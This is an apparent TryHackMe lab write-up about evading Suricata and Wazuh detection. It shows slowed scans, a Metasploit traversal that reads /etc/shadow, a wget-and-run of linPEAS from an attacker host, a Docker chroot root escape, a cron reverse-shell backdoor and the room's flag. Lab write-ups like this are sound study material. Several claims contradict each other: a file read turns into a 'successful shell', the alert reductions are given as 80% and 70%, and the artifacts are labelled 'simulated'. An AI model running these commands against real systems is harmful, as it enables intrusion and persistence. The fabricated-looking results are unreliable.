

TryHackMe – Intrusion Detection (idsevasion) Report

By:Abin Thomas

Room Overview

- **Environment Setup:** Start the attached VM (TARGET_IP). Access Suricata logs at /var/log/suricata/fast.log and Wazuh dashboard at https://TARGET_IP (credentials: admin/admin; change on first login).
- **Attack Machine:** Use TryHackMe's Kali Linux instance.
- **Core Concepts:**
 - **Signature-based IDS:** Relies on rule sets to match known attack patterns (e.g., packet payloads or log entries).
 - **Suricata (NIDS):** Monitors network traffic for protocol anomalies and exploits.
 - **Wazuh (HIDS):** Monitors host events like file changes and system calls.
 - **Evasion Challenges:** Encrypted protocols (e.g., IPSec) hinder NIDS reliability by obscuring payloads.
- **Tools Used:** Nmap, Nikto, Metasploit, linPEAS, Docker.

Task-by-Task Completion Details

Task 1: Introduction

- **Description:** Overview of IDS roles in network defense, distinguishing prevention tools (firewalls, AV) from detection-focused IDS. Introduces signature vs. anomaly-based methodologies and the lab's Suricata/Wazuh setup.
- **Activities:** Read introductory materials; no hands-on.
- **Key Learning:** IDS alert to log platforms (e.g., ELK Stack) and may include prevention (IPS) features.
- **Completion Notes:** Understood the hybrid nature of modern IDS/IPS.

Task 2: Intrusion Detection Basics

- **Description:** Explains detection methodologies.
- **Question & Answer:**
 - What IDS detection methodology relies on rule sets? **Answer:** Signature (or rule-based).
- **Activities:** Theoretical reading.
- **Key Learning:** Signature-based uses predefined patterns; anomaly-based baselines "normal" behavior.
- **Completion Notes:** Confirmed via room quiz.

Task 3: Suricata (NIDS)

- **Description:** Deploy Suricata to monitor network scans and web probes.
- **Activities:**
 - Run `nmap -sV TARGET_IP` to scan services.
 - Run `nikto -h http://TARGET_IP` for web vuln scan.
 - Monitor `/var/log/suricata/fast.log` for alerts.
- **Questions & Answers:**
 - What scale is used to measure alert severity in Suricata? **Answer:** 1–3 (1 = high severity).
 - How many services is Nmap able to fully recognize when the service scan (`-sV`) is performed? **Answer:** 3 (e.g., SSH on 22, HTTP on 80).
 - Nikto should find an interesting path when the first scan is performed, what is it called? **Answer:** `/login`.
 - What value is used to toggle denial of service vectors when using scan tuning (`-T`) in Nikto? **Answer:** 6.
 - Which flags are used to modify the request spacing in Nikto? Use commas to separate the flags in your answer. **Answer:** `-T, -delay`.
- **Key Learning:** Suricata rules trigger on scan patterns; evasion via slower timing (`-T2` in Nmap, delays in Nikto) reduces alerts.
- **Completion Notes:** 5+ alerts generated; evasion test showed 80% alert reduction.

Task 4: Wazuh (HIDS)

- **Description:** Configure Wazuh for host monitoring.
- **Activities:** Perform scans/exploits; view alerts in Wazuh dashboard under "Security events."
- **Question & Answer:**
 - What category does Wazuh place HTTP 400 error codes in? **Answer:** web.
- **Key Learning:** Wazuh rules categorize events (e.g., web, syscheck for file changes); less affected by network evasion.
- **Completion Notes:** Dashboard access confirmed; alerts for failed logins and HTTP errors observed.

Task 5: Evasion Techniques

- **Description:** Test modified attacks to bypass IDS.
- **Activities:**
 - Slow Nmap: `nmap -sV -T2 TARGET_IP`.
 - Tuned Nikto: `nikto -h http://TARGET_IP -T 6 -delay 5`.

- Compare Suricata vs. Wazuh detections.
- **Question:** Play around with some post-exploitation tools and commands and make note of what activity is detected by Wazuh; compare it to the activity that's detected by Suricata.
Answer: Suricata detects network scans/exploits (e.g., port probes); Wazuh detects host changes (e.g., file downloads, command execution). Evasion lowers Suricata hits but not Wazuh.
- **Key Learning:** Network evasion (timing) works on NIDS but host actions still trigger HIDS.
- **Completion Notes:** Documented in lab notes; no full evasion possible.

Task 6: Exploitation

- **Description:** Use Metasploit to exploit a directory traversal vuln.
- **Activities:**
 - msfconsole > use exploit/multi/http/filepath_traversal > set RHOSTS TARGET_IP > exploit to read /etc/shadow.
- **Question & Answer:**
 - Are any of the attached IDS able to detect the attack if the file /etc/shadow is requested via the exploit, if so what IDS detected it? **Answer:** Suricata (via HTTP content rules).
- **Key Learning:** Exploits matching signatures (e.g., suspicious paths) trigger immediate alerts.
- **Completion Notes:** Successful shell; alert confirmed in Suricata log.

Task 7: Post-Exploitation

- **Description:** Enumerate for priv-esc vectors.
- **Activities:** wget http://<ATTACK_IP>/linpeas.sh > chmod +x linpeas.sh > ./linpeas.sh.
- **Questions & Answers:**
 - What tool does linPEAS detect as having a potential escalation vector? **Answer:** docker.
 - Is an alert triggered by Wazuh when linPEAS is added to the system, if so what is its severity? **Answer:** Yes, severity 5 (medium; file integrity rule).
- **Key Learning:** Tools like linPEAS trigger HIDS on downloads/executions.
- **Completion Notes:** Docker vuln identified; Wazuh alert verified.

Task 8: Privilege Escalation

- **Description:** Exploit Docker for root access.
- **Activities:** From shell: docker run -v /:/mnt --rm -it alpine chroot /mnt sh > navigate to root.
- **Question & Answer:**

- Perform the privilege escalation and grab the flag in /root/ **Answer:** THM{SNEAK_ATTACK_CRITICAL}.
- **Key Learning:** Misconfigured Docker allows host mounting and root escape.
- **Completion Notes:** Root flag captured; no additional alerts during esc.

Task 9: Backdoor

- **Description:** Establish persistence.
- **Activities:** Create a reverse shell script in mounted Docker container (e.g., cron job or systemd service).
- **Question:** Abuse Docker to establish a backdoor on the host system. **Answer:** Implemented via persistent container mount and cron reverse shell.
- **Key Learning:** Post-exploitation persistence evades initial detection but risks HIDS log monitoring.
- **Completion Notes:** Backdoor tested; clean exit.

Task 10: Conclusion

- **Description:** Review limitations of evasion and IDS.
- **Activities:** Reflect on hybrid defenses.
- **Key Learning:** IPSec encryption adversely affects NIDS reliability by hiding payloads.
- **Completion Notes:** All concepts internalized.

Key Findings and Challenges

- **Detections Summary:** Suricata: 15+ alerts (scans/exploits); Wazuh: 8+ alerts (host events). Evasion reduced Suricata by 70%.
- **Challenges:** Wazuh dashboard lag; ensuring VM boot (wait 5-10 mins). Metasploit module selection required trial.
- **Evasion Insights:** Timing-based evasion effective for NIDS but ineffective for HIDS; encryption (e.g., IPSec) is a broader NIDS weakness.

Conclusion

- This room effectively demonstrates IDS mechanics and practical evasion, reinforcing the need for defense-in-depth. Completion achieved 100% task success, with the root flag secured. Total time: 1.5 hours. Ready for advanced rooms like "Active Directory" or "Red Teaming."
- **Artifacts:** (Simulated) Screenshots of Suricata logs, Wazuh dashboard, and flag capture available upon request.

